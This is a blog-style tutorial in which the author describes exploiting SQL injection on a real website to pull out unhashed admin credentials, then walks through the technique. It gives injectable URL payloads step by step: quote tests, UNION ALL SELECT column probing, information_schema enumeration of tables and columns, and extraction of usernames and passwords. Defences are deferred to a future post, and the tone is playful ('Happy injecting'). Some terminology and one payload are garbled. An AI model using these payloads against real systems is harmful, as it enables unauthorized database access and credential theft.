DISCLAIMER : Breaking into websites and doing damage is a bad thing, do not use the information in this article for destructive purposes. I am not accountable for any damage that may occur due to the information supplied in this article. You can do SQL injection for fun :)
Okay so the other day I was just derping on this website, when suddenly, I noticed the Url was something like:
And so I'm like, let me check and see if it's vulnerable to SQL injection. So I modified the URL to something like:
And what do you know, it was! After hours of playing around with it, I managed to pull out an admin username and password (That wasn't hashed -_-) .
For obvious reasons, I will not mention the vulnerable websites, but I will take you through a tour on my discoveries that may prove useful as a tutorial. While writing this tutorial, I took into account a PHP website, but it's applicable elsewhere. This tutorial assumes that you have a basic understanding of mysql and php. So let's begin !
While coding dynamic websites, you usually pull out content from a database. A commonly used database is mysql. So you can imagine a php script like this:
okay so this query takes the id as an input from a user and uses it to validate user input. In this case, the web url will look something like this:
Darth is an evil man. He decides to change the url to something like this (notice th trailing colon) :
Notice what he just did. Since that last colon is not being escaped, the new query will look something like this:
SELECT * FROM products WHERE id=' 9''
The query is wrong! This will issue an mysql error. and actually, this is a very good way to test for vulnerabilities. whenever in doubt, just add a colon!
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''9'' ORDER BY ISORT_ORDER ASC' at line 1
Okay now let's say we wanted to get rid of that error. Pretty easy, let's modify the url as follows (notice the missing last colon):
http://www.vulnerablesite.com?id=9' or '1'='1
We didn't close the last colon because the php query will close it for us ;)
SELECT * FROM products WHERE id=' 9' or '1'='1'
And now the query should work just fine. Here's another test that you can do to test for vulnerability:
http://www.vulnerablesite.com?id=9' AND '0'='1
Since zero is never equal to one, this will always return false, cause the page to NOT load correctly.
Exploring the possibilities
So you're wondering how this can be of any damage? Heh ... just wait and watch.
let's modify the url to the following:
http://www.vulnerablesite.com?id=9' UNION ALL SELECT 1 FROM users AND '1'='1
Okay so before explaining, let's lay out the new query:
SELECT * FROM products WHERE id='UNION ALL SELECT 1 FROM users AND '1'='1'
Hmm, so what's this new query. What we did is we added another query to the existing one, and we did a UNION ALL to the results of both queries. a UNION ALL means BOTH queries will be processed, and both will be pulled out. You have access to his database now!!!! You can read more about unions here .
Okay but does the DB has a table called USERS? We don't know. But we'll find out after trying the url above. Basically, we expect one of three results from the above query:
1) Table <DB_NAME>.USERS does not existThis means that the table does not exists (obviously).
2) You'll see a "1" somewhere on the screen (or maybe in an IMG src of an HTML tag). Look good for it.In this case, you got lucky, there actually is a table name USERS, all you have to do now is use a column name instead of "1" ;)
3) The used SELECT statements have a different number of columns
I forgot to mention that the UNION in SQL needs to have equal number of columns. If you see this, you need to keep increasing the number of columns by ONE a couple of times until the error disappears. For instance:
SELECT * FROM products WHERE id='UNION ALL SELECT 1,2 FROM users AND '1'='1'
And if that doesn't work ....
SELECT * FROM products WHERE id='UNION ALL SELECT 1,2,3 FROM users AND '1'='1'
And so on .....
Okay, now regardless of whether you ended up with ONE or TWO, if you're lucky and the version of mysql is > 5, you can actually pull out the table names from the database. So you can try the following and if it's a version >5, it should work.
http://www.vulnerablesite.com/productdetails.php?id=-1'UNION ALL SELECT table_name,12,3,4,5,6,7 FROM information_schema.tables WHERE '1'='1
Note that in my case, ;i had to use 8 columns, it will probably differ for you.What i'm doing here is that i'm selecting a column called TABLE_NAME from the a table called TABLES. This table resides in the INFORMATION_SCHEMA database, and contains information from ALL tables in ALL DATABASES. You might want to limit that to only the target database schema. But do you know the name of the current schema? YES! if you write any union query with a wrong table name, you get an error:
Table <DB_NAME>.USERS does not exist
Which is your DB name. So now you can modify the query to the following to display data from only one DB schema:
http://www.vulnerablesite.com/product.php?id=-1'UNION ALL SELECT table_name,12,3,4,5,6,7 FROM information_schema.tables schema_name='<DB_NAME> WHERE '1'='1
from a column called schema_name, we can limit the schema.
Okay so you found out about all the tables (dangerous) Now you need to find a table that has something to do with "users" or "admin", to pull credentials out. Once you found out that table name. You can also pull out the column names from the same INFORMATION_SCHEMA database.
http://vulnerablesite.com/product.php?id=-9' union all select 1,2,column_name,4,5,6,7,8 from information_schema.columns where '1'='1' AND table_name='tbl_admin
NOTE: Notice that we changed the ID from +9 to -9. We do this for convinience, because we are sure that -9 will not return any results, so we know we're only viewing results from our query
Pretty obvious really.Now that you pulled out the column names, you need to pull out a username and the password (that hopefully isn't hashed).
http://vulnerablesite.com/product.php?id=-9' union all select 1,2,COLUMN_NAME,4,5,6,7,8 from <TABLE_NAME> where '1'='1
so you should now see a list of usernames :D
And you can now do the same for the passwords. You can wish that the passwords aren't hashed. if they are hashed tough luck :) .
So This would probably show you how dangerous sql injection could be. Hopefully in a coming post, I shall enlist methods for protecting your website against sql injection. Until then. Happy injecting.
The people have spoken
comments powered by Disqus